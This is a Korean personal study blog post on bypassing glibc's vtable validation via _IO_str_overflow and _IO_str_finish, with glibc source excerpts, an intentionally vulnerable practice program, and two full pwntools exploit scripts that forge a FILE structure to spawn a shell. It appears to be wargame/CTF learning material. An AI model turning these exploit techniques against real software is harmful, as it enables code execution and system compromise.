vtable check bypass 본문
참고자료https://dreamhack.io/learn/11#40
로그인 | Dreamhack
dreamhack.io
glibc 2.24이상 버전부터 IO_validate_vtable이 추가되어 vtable을 검사한다.
IO_validate_vtable 함수가 _libc_IO_vtables의 섹션 크기를 계산한 후 파일 함수가 호출될 때
참조하는 vtable 주소가 _libc_IO_vtables 영역에 존재하는지 검증한다.
만약 vtable 주소가 _libc_IO_vtables 영역에 존재하지 않는다면
IO_vtable_check 함수를 호출하여 포인터를 추가로 확인한다.
IO_validate_vtable 함수로 인해 파일 함수의 vtable은 _libc_IO_vtables 섹션에 존재해야 호출할 수 있다.
따라서 익스플로잇 과정에서 _libc_IO_vtables 섹션에 존재하는 함수들 중 공격에 유용한 함수를 사용해야 한다.
_IO_str_overflow 와 _IO_str_finish 는 _libc_IO_vtables에 존재한다.
이 두개의 함수를 이용하여 bypass공격을 진행 해본다.
실습 환경 세팅------
glibc 버전을 맞추는 것을 추천한다. 같은 2.27버전이라도 조금씩 코드가 달라서
많은 시간을 삽질 했다.
_IO_str_overflow
int
_IO_str_overflow (_IO_FILE *fp, int c)
{
int flush_only = c == EOF;
_IO_size_t pos;
if (fp->_flags & _IO_NO_WRITES)
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
_IO_size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf
= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
_IO_str_overflow 함수는 _IO_str_jumps 영역 내에 존재하는 함수이다.
_IO_str_jumps 영역은 _libc_IO_vtables 영역 내에 존재하기 때문에
이를 이용할 수 있다.
new_buf = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
핵심 코드는 마지막 부분에 있는 이 부분이다.
new_size를 /bin/sh로 바꾸고 _s._allocate_buffet를 시스템 함수로 실행한다.
그러기 위해서는 마지막 부분 까지 오기 위한 관문이 있다.
#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
size_t old_blen = _IO_blen (fp);
_IO_size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
_IO_blen 매크로를 사용하여 초기화되는 new_size 변수는 _IO_FILE 구조체의 멤버 변수인 _IO_buf_end와 _IO_buf_base에 의해 결정된다. IO_buf_base를 0으로, _IO_buf_end를 ( 원하는 값 - 100 ) / 2로 조작하면 new_size 변수를 원하는 값으로 만들 수 있다.
_s._allocate_buffer 함수 포인터를 호출하기 위해서는 다음과 같은 조건을 만족해야 합니다.
int flush_only = c == EOF;
_IO_size_t pos;
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
flush_only 의 기본 값은 0이기 때문에 위 조건문은 pos >= _IO_blen(fp) 이다.
이 또한 _IO_write_base를 0으로 하고 _IO_write_ptr을 원하는 값으로 하면 pos 변수를 원하는 값으로 만들 수 있기 때문에 조건을 만족하여 _s._allocate_buffer 함수 포인터를 호출할 수 있다.
// gcc -o vtable_bypass vtable_bypass.c -no-pie
#include <stdio.h>
#include <unistd.h>
FILE *fp;
int main() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
fp = fopen("/dev/urandom","r");
printf("stdout: %p\n",stdout);
printf("Data: ");
read(0, fp, 300);
fclose(fp);
}
예제 코드이다.
300byte를 fp에 입력받으므로 vtable까지 모두 조작 가능하다.
from pwn import *
p = process("./vtable_bypass")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./vtable_bypass')
print p.recvuntil("stdout: ")
leak = int(p.recvuntil("\n").strip("\n"),16)
libc_base = leak - libc.symbols['_IO_2_1_stdout_']
io_file_jumps = libc_base + libc.symbols['_IO_file_jumps']
io_str_overflow = io_file_jumps + 0xd8
fake_vtable = io_str_overflow - 16
binsh = libc_base + next(libc.search("/bin/sh"))
system = libc_base + libc.symbols['system']
fp = elf.symbols['fp']
print hex(libc_base)
payload = p64(0x0) # flags
payload += p64(0x0) # _IO_read_ptr
payload += p64(0x0) # _IO_read_end
payload += p64(0x0) # _IO_read_base
payload += p64(0x0) # _IO_write_base
payload += p64( ( (binsh - 100) / 2 )) # _IO_write_ptr
payload += p64(0x0) # _IO_write_end
payload += p64(0x0) # _IO_buf_base
payload += p64( ( (binsh - 100) / 2 )) # _IO_buf_end
payload += p64(0x0) # _IO_save_base
payload += p64(0x0) # _IO_backup_base
payload += p64(0x0) # _IO_save_end
payload += p64(0x0) # _IO_marker
payload += p64(0x0) # _IO_chain
payload += p64(0x0) # _fileno
payload += p64(0x0) # _old_offset
payload += p64(0x0)
payload += p64(fp + 0x80) # _lock
payload += p64(0x0)*9
payload += p64(fake_vtable) # io_file_jump overwrite
payload += p64(system) # fp->_s._allocate_buffer RIP
p.send(payload)
p.interactive()
실습 예제 exploit code 이다.
메모리를 leak한 후 IO_file_jumps구조체의 주소를 구해준다.
IO_file_jumps + 0xd8지점에 _IO_str_overflow 함수가 존재한다.
_IO_str_overflow 에서 - 0x10을 해주어 fake vtable를 만들어 준다.
왜냐허면 _IO_finish 함수가 호출될때 vtable + 0x10을 참조한다.
그 다음 payload를 구상한다.
마지막에 rip로 system주소를 넣어준다.
디버깅을 통해 확인하도록 한다.
해당 주소를 출력했다.
_IO_str_overflow + 129에 bp를 걸고 확인했다.
'/bin/sh' 인자 값이 잘들어가 있다.
[rbx+0xe0]을 call 하기에 값을 확인해보았다.
system함수를 call하게 값이 잘들어가 있다.
다음 실습은 _IO_str_finish를 진행한다.
실습 코드 그대로 진행한다.
void _IO_str_finish (_IO_FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);
fp->_IO_buf_base = NULL;
_IO_default_finish (fp, 0);
}
_IO_str_finish 함수의 구조이다.
_IO_buf_base에 binsh을 넣고 그대로 진행하면 될것이다.
_IO_str_finish는 ELF로 검색되지 않아 간접적으로 주소를 구했다.
_IO_str_finish 와 _IO_file_jumps는 0xd0만큼 떨어져있어 0xd0을 더해주었다.
const struct _IO_jump_t _IO_file_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_file_finish),
JUMP_INIT(overflow, _IO_file_overflow),
JUMP_INIT(underflow, _IO_file_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_default_pbackfail),
JUMP_INIT(xsputn, _IO_file_xsputn),
JUMP_INIT(xsgetn, _IO_file_xsgetn),
JUMP_INIT(seekoff, _IO_new_file_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_new_file_setbuf),
JUMP_INIT(sync, _IO_new_file_sync),
JUMP_INIT(doallocate, _IO_file_doallocate),
JUMP_INIT(read, _IO_file_read),
JUMP_INIT(write, _IO_new_file_write),
JUMP_INIT(seek, _IO_file_seek),
JUMP_INIT(close, _IO_file_close),
JUMP_INIT(stat, _IO_file_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};
exploit code
from pwn import *
p = process("./vtable_bypass",env={'LD_PRELOAD':'./libc.so.6'})
#p = remote("host1.dreamhack.games" ,13620)
libc = ELF('./libc.so.6')
elf = ELF('./vtable_bypass')
print p.recvuntil("stdout: ")
leak = int(p.recvuntil("\n").strip("\n"),16)
libc_base = leak - libc.symbols['_IO_2_1_stdout_']
io_file_jumps = libc_base + libc.symbols['_IO_file_jumps']
io_str_finish = io_file_jumps + 0xd0
fp = elf.symbols['fp']
fake_vtable = io_str_finish-0x10
binsh = libc_base + next(libc.search("/bin/sh"))
system = libc_base + libc.symbols['system']
print("io_file_jumps: " + str(hex(io_file_jumps)))
print("fake_vtable: " + str(hex(fake_vtable)))
print("IO_str_finish: " + str(hex(io_str_finish)))
print("system: "+str(hex(system)))
payload = p64(0x0) # flags
payload += p64(0x0) # _IO_read_ptr
payload += p64(0x0) # _IO_read_end
payload += p64(0x0) # _IO_read_base
payload += p64(0x0) # _IO_write_base
payload += p64(0x0) # _IO_write_ptr
payload += p64(0x0) # _IO_write_end
payload += p64(binsh) # _IO_buf_base
payload += p64(0x0) # _IO_buf_end
payload += p64(0x0) # _IO_save_base
payload += p64(0x0) # _IO_backup_base
payload += p64(0x0) # _IO_save_end
payload += p64(0x0) # _IO_marker
payload += p64(0x0) # _IO_chain
payload += p64(0x0) # _fileno
payload += p64(0x0) # _old_offset
payload += p64(0x0)
payload += p64(fp + 0x80) # _lock
payload += p64(0x0)*9
payload += p64(fake_vtable) # io_file_jump overwrite
payload += p64(0x0) # fp->_s._allocate_buffer
payload += p64(system) # fp->_s._free_buffer RIP
pause()
p.send(payload)
p.interactive()
결론 : 정신나갈것같다.
'보안 > 개인공부' 카테고리의 다른 글
overwrite _rtld_global (0) | 2022.02.07 |
---|---|
tiny backdoor (삽질) (0) | 2022.01.29 |
PE 기초 개념 (0) | 2022.01.15 |
validator-revenge (해결) (0) | 2022.01.14 |
cyberpeace 3.0 ITCTF - crySYS (0) | 2022.01.11 |